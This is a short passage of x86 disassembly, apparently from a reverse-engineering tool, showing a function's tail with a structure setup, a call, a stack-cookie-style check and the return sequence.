jne 0x4ff65d
cmp dword [ebp - 0x18], 0
jbe 0x4ff65d
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x537df0
call fcn.004ff45f
test eax, eax
jge 0x4ff67e
mov byte [0x563980], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004dcfe3
add ebp, 0x78
leave
ret